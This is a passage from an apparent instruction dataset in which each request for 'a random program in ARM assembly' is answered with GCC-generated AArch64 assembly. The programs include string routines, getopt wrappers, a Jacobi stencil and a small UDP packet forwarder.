blr x1
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size userFinish, .-userFinish
.align 2
.global realFinish
.type realFinish, %function
realFinish:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr x0, [x0, 8]
bl free
ldr x0, [sp, 24]
bl free
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size realFinish, .-realFinish
.align 2
.global realClose
.type realClose, %function
realClose:
.LFB8:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
ldr x0, [x0, 8]
str wzr, [x0]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size realClose, .-realClose
.align 2
.global readVtable
.type readVtable, %function
readVtable:
.LFB9:
.cfi_startproc
adrp x0, init.1
add x0, x0, :lo12:init.1
ldr w0, [x0]
cmp w0, 0
bne .L5
adrp x0, vt.0
add x0, x0, :lo12:vt.0
adrp x1, realClose
add x1, x1, :lo12:realClose
str x1, [x0]
adrp x0, vt.0
add x0, x0, :lo12:vt.0
adrp x1, realFinish
add x1, x1, :lo12:realFinish
str x1, [x0, 8]
.L5:
adrp x0, vt.0
add x0, x0, :lo12:vt.0
ret
.cfi_endproc
.LFE9:
.size readVtable, .-readVtable
.align 2
.global newFoo
.type newFoo, %function
newFoo:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov x1, 16
mov x0, 1
bl calloc
str x0, [sp, 40]
ldrsw x0, [sp, 28]
mov x1, 4
bl calloc
mov x1, x0
ldr x0, [sp, 40]
str x1, [x0, 8]
bl readVtable
mov x1, x0
ldr x0, [sp, 40]
str x1, [x0]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size newFoo, .-newFoo
.local init.1
.comm init.1,4,4
.local vt.0
.comm vt.0,16,8
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global IID_ID3DXTextureShader
.section .rodata
.align 3
.type IID_ID3DXTextureShader, %object
.size IID_ID3DXTextureShader, 24
IID_ID3DXTextureShader:
.xword 1044211704
.hword -21894
.hword 16477
.ascii "\250W\272\001\324u\204&"
.zero 4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Input the distance :"
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "your amount is :%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
add x0, sp, 28
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 28]
cmp w0, 29
bgt .L2
ldr w1, [sp, 28]
mov w0, 50
mul w0, w1, w0
str w0, [sp, 32]
b .L3
.L2:
ldr w0, [sp, 28]
cmp w0, 30
ble .L3
ldr w0, [sp, 28]
sub w0, w0, #30
str w0, [sp, 36]
ldr w1, [sp, 36]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 3
add w0, w0, 1500
str w0, [sp, 32]
.L3:
ldr w1, [sp, 32]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global set
.type set, %function
set:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
mov w1, 8
str w1, [x0]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size set, .-set
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, set
add x0, x0, :lo12:set
str x0, [sp, 32]
mov w0, 1
str w0, [sp, 24]
mov w0, 13
str w0, [sp, 28]
ldr w1, [sp, 24]
ldr w0, [sp, 28]
add w0, w1, w0
str w0, [sp, 20]
mov w0, 3
str w0, [sp, 24]
mov w0, 5
str w0, [sp, 28]
add x0, sp, 20
ldr x1, [sp, 32]
blr x1
ldr w0, [sp, 20]
cmp w0, 8
cset w0, eq
and w0, w0, 255
bl test_assert
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L4
bl __stack_chk_fail
.L4:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global BUG2
.type BUG2, %function
BUG2:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str wzr, [sp, 28]
ldr x0, [sp, 8]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 28]
cmp w0, w1
bne .L2
mov w0, 0
b .L3
.L2:
mov w0, 1
.L3:
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size BUG2, .-BUG2
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "&a=%p,&b=%p\n"
.align 3
.LC1:
.string "a=%d,b=%d\n"
.align 3
.LC2:
.string "p1=%p,p2=%p\n"
.align 3
.LC3:
.string "max:%d,min:%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
mov w0, 7
str w0, [sp, 24]
mov w0, 6
str w0, [sp, 28]
add x0, sp, 24
str x0, [sp, 32]
add x0, sp, 28
str x0, [sp, 40]
add x1, sp, 28
add x0, sp, 24
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 24]
ldr w1, [sp, 28]
mov w2, w1
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr x2, [sp, 40]
ldr x1, [sp, 32]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr x0, [sp, 32]
ldr w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0]
cmp w1, w0
ble .L2
ldr x0, [sp, 32]
str x0, [sp, 48]
ldr x0, [sp, 40]
str x0, [sp, 32]
ldr x0, [sp, 48]
str x0, [sp, 40]
.L2:
add x1, sp, 28
add x0, sp, 24
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w0, [sp, 24]
ldr w1, [sp, 28]
mov w2, w1
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
ldr x2, [sp, 40]
ldr x1, [sp, 32]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
ldr x0, [sp, 32]
ldr w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0]
mov w2, w0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 56]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L4
bl __stack_chk_fail
.L4:
mov w0, w1
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%d %d %d"
.align 3
.LC1:
.string "S\n"
.align 3
.LC2:
.string "N\n"
.align 3
.LC3:
.string "N"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
add x2, sp, 36
add x1, sp, 32
add x0, sp, 28
mov x3, x2
mov x2, x1
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
ldr w1, [sp, 32]
ldr w0, [sp, 28]
cmp w1, w0
ble .L2
ldr w0, [sp, 32]
cmp w0, 50
ble .L2
ldr w1, [sp, 36]
ldr w0, [sp, 32]
cmp w1, w0
bge .L3
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L5
.L3:
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
b .L5
.L2:
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl puts
.L5:
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global wcsncasecmp
.type wcsncasecmp, %function
wcsncasecmp:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L4
mov w0, 0
b .L3
.L6:
ldr x0, [sp, 40]
cmp x0, 0
beq .L5
ldr x0, [sp, 56]
ldr w0, [x0]
cmp w0, 0
beq .L5
ldr x0, [sp, 48]
ldr w0, [x0]
cmp w0, 0
beq .L5
ldr x0, [sp, 56]
add x0, x0, 4
str x0, [sp, 56]
ldr x0, [sp, 48]
add x0, x0, 4
str x0, [sp, 48]
.L4:
ldr x0, [sp, 40]
sub x1, x0, #1
str x1, [sp, 40]
cmp x0, 0
beq .L5
ldr x0, [sp, 56]
ldr w0, [x0]
bl towlower
mov w19, w0
ldr x0, [sp, 48]
ldr w0, [x0]
bl towlower
cmp w19, w0
beq .L6
.L5:
ldr x0, [sp, 56]
ldr w0, [x0]
bl towlower
mov w19, w0
ldr x0, [sp, 48]
ldr w0, [x0]
bl towlower
sub w0, w19, w0
.L3:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size wcsncasecmp, .-wcsncasecmp
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global jacobi
.type jacobi, %function
jacobi:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
mov w0, 3
str w0, [sp, 28]
b .L2
.L25:
mov w1, 1023
ldr w0, [sp, 28]
sub w0, w1, w0
cmn w0, #1
bge .L3
mov w1, 1023
ldr w0, [sp, 28]
sub w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
neg w0, w0
b .L4
.L3:
mov w0, 1
.L4:
str w0, [sp, 24]
b .L5
.L10:
ldr w0, [sp, 28]
str w0, [sp, 20]
b .L6
.L7:
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 8]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
fadd d1, d1, d0
fmov d0, 2.5e-1
fmul d1, d1, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d2, [x0]
fmov d0, 5.0e-1
fmul d0, d2, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x1, x1, x0
ldr w2, [sp, 24]
mov w0, 0
sub w0, w0, w2
lsl w0, w0, 1
mov w2, w0
ldr w0, [sp, 20]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x2, [sp, 8]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L6:
ldr w0, [sp, 24]
add w0, w0, 511
lsl w0, w0, 1
ldr w1, [sp, 20]
cmp w1, w0
ble .L7
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1023
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x1, x1, x0
ldr w2, [sp, 24]
mov w0, 0
sub w0, w0, w2
lsl w0, w0, 1
mov w2, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1023
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x2, [sp, 8]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L5:
ldr w0, [sp, 28]
cmp w0, 3040
bgt .L8
ldr w0, [sp, 28]
sub w0, w0, #993
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
b .L9
.L8:
mov w0, 1023
.L9:
ldr w1, [sp, 24]
cmp w0, w1
bge .L10
mov w1, 991
ldr w0, [sp, 28]
sub w0, w1, w0
cmn w0, #1
bge .L11
mov w1, 991
ldr w0, [sp, 28]
sub w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
neg w0, w0
b .L12
.L11:
mov w0, 1
.L12:
str w0, [sp, 24]
b .L13
.L18:
ldr w0, [sp, 28]
str w0, [sp, 20]
b .L14
.L15:
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 8]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
fadd d1, d1, d0
fmov d0, 2.5e-1
fmul d1, d1, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d2, [x0]
fmov d0, 5.0e-1
fmul d0, d2, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x1, x1, x0
ldr w2, [sp, 24]
mov w0, 0
sub w0, w0, w2
lsl w0, w0, 1
mov w2, w0
ldr w0, [sp, 20]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x2, [sp, 8]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L14:
ldr w0, [sp, 28]
add w0, w0, 31
ldr w1, [sp, 20]
cmp w1, w0
ble .L15
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L13:
ldr w0, [sp, 28]
cmp w0, 2050
bgt .L16
ldr w0, [sp, 28]
sub w0, w0, #3
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
b .L17
.L16:
mov w0, 1023
.L17:
ldr w1, [sp, 24]
cmp w0, w1
bge .L18
mov w1, 1
ldr w0, [sp, 28]
sub w0, w1, w0
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
neg w0, w0
str w0, [sp, 24]
b .L19
.L24:
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 8]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1
add w0, w1, w0
sxtw x0, w0
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
fadd d1, d1, d0
fmov d0, 2.5e-1
fmul d1, d1, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d2, [x0]
fmov d0, 5.0e-1
fmul d0, d2, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 24]
lsl w0, w0, 1
add w0, w0, 1
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w0, [sp, 24]
add w0, w0, 1
lsl w0, w0, 1
str w0, [sp, 20]
b .L20
.L21:
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 8]
add x0, x1, x0
ldr d1, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d0, [x0]
fadd d1, d1, d0
fmov d0, 2.5e-1
fmul d1, d1, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 8]
add x0, x1, x0
ldr d2, [x0]
fmov d0, 5.0e-1
fmul d0, d2, d0
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp]
add x0, x1, x0
fadd d0, d1, d0
str d0, [x0]
ldr w1, [sp, 24]
mov w0, 0
sub w0, w0, w1
lsl w0, w0, 1
mov w1, w0
ldr w0, [sp, 20]
add w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x1, x1, x0
ldr w2, [sp, 24]
mov w0, 0
sub w0, w0, w2
lsl w0, w0, 1
mov w2, w0
ldr w0, [sp, 20]
add w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
ldr x2, [sp, 8]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L20:
ldr w0, [sp, 28]
add w0, w0, 31
ldr w1, [sp, 20]
cmp w1, w0
ble .L21
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L19:
ldr w0, [sp, 28]
cmp w0, 2016
bgt .L22
ldr w0, [sp, 28]
add w0, w0, 29
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
b .L23
.L22:
mov w0, 1023
.L23:
ldr w1, [sp, 24]
cmp w0, w1
bge .L24
ldr w0, [sp, 28]
add w0, w0, 32
str w0, [sp, 28]
.L2:
ldr w0, [sp, 28]
cmp w0, 3043
ble .L25
nop
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size jacobi, .-jacobi
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.local buf
.comm buf,65535,8
.section .rodata
.align 3
.LC0:
.string "starting"
.align 3
.LC1:
.string "ERROR: udp_init: bind: %s\n"
.align 3
.LC2:
.string "child"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -80
str x0, [sp, 40]
str w1, [sp, 36]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 88]
mov x1, 0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
mov w0, 2
strh w0, [sp, 56]
mov w0, 5060
bl htons
and w0, w0, 65535
strh w0, [sp, 58]
str wzr, [sp, 60]
mov w0, 2
strh w0, [sp, 72]
mov w0, 5090
bl htons
and w0, w0, 65535
strh w0, [sp, 74]
mov w0, 34
movk w0, 0xa00, lsl 16
bl htonl
str w0, [sp, 76]
mov w2, 0
mov w1, 2
mov w0, 2
bl socket
str w0, [sp, 48]
add x0, sp, 56
mov w2, 16
mov x1, x0
ldr w0, [sp, 48]
bl bind
cmn w0, #1
bne .L2
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x19, [x0]
bl __errno_location
ldr w0, [x0]
bl strerror
mov x2, x0
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x19
bl fprintf
mov w0, 1
bl exit
.L2:
bl fork
cmp w0, 0
beq .L3
ldr w0, [sp, 48]
bl close
.L4:
mov w0, 100
bl sleep
b .L4
.L3:
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl puts
.L5:
mov w2, 65535
adrp x0, buf
add x1, x0, :lo12:buf
ldr w0, [sp, 48]
bl read
str w0, [sp, 52]
ldrsw x0, [sp, 52]
add x1, sp, 72
mov w5, 16
mov x4, x1
mov w3, 0
mov x2, x0
adrp x0, buf
add x1, x0, :lo12:buf
ldr w0, [sp, 48]
bl sendto
b .L5
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global strcpy
.type strcpy, %function
strcpy:
.LFB0:
.cfi_startproc
str x19, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 19, -32
str x0, [sp, 24]
str x1, [sp, 16]
ldr x19, [sp, 24]
nop
.L2:
ldr x1, [sp, 16]
add x0, x1, 1
str x0, [sp, 16]
ldr x0, [sp, 24]
add x2, x0, 1
str x2, [sp, 24]
ldrb w1, [x1]
strb w1, [x0]
ldrb w0, [x0]
cmp w0, 0
bne .L2
mov x0, x19
ldr x19, [sp], 32
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size strcpy, .-strcpy
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global getopt_long
.type getopt_long, %function
getopt_long:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 60]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
mov w5, 0
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr x2, [sp, 40]
ldr x1, [sp, 48]
ldr w0, [sp, 60]
bl _getopt_internal
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size getopt_long, .-getopt_long
.align 2
.global getopt_long_only
.type getopt_long_only, %function
getopt_long_only:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 60]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str x4, [sp, 24]
mov w5, 1
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr x2, [sp, 40]
ldr x1, [sp, 48]
ldr w0, [sp, 60]
bl _getopt_internal
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size getopt_long_only, .-getopt_long_only
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global f
.type f, %function
f:
.LFB0:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
str wzr, [sp, 28]
b .L2
.L3:
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L2:
ldr w0, [sp, 28]
ldr w1, [sp, 12]
cmp w1, w0
bhi .L3
ldr w0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size f, .-f
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global jumper
.bss
.align 3
.type jumper, %object
.size jumper, 79872
jumper:
.zero 79872
.global exclast
.align 2
.type exclast, %object
.size exclast, 4
exclast:
.zero 4
.global excmsg
.align 3
.type excmsg, %object
.size excmsg, 8
excmsg:
.zero 8
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "%lld"
.align 3
.LC1:
.string "%lld %lld"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 56]
mov x1, 0
add x0, sp, 16
mov x1, x0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl __isoc99_scanf
b .L2
.L10:
add x1, sp, 32
add x0, sp, 24
mov x2, x1
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
mov x0, 1
str x0, [sp, 40]
b .L3
.L9:
mov x0, 1
str x0, [sp, 48]
b .L4
.L8:
ldr x0, [sp, 40]
cmp x0, 1
beq .L5
ldr x0, [sp, 24]
ldr x1, [sp, 40]
cmp x1, x0
beq .L5
ldr x0, [sp, 48]
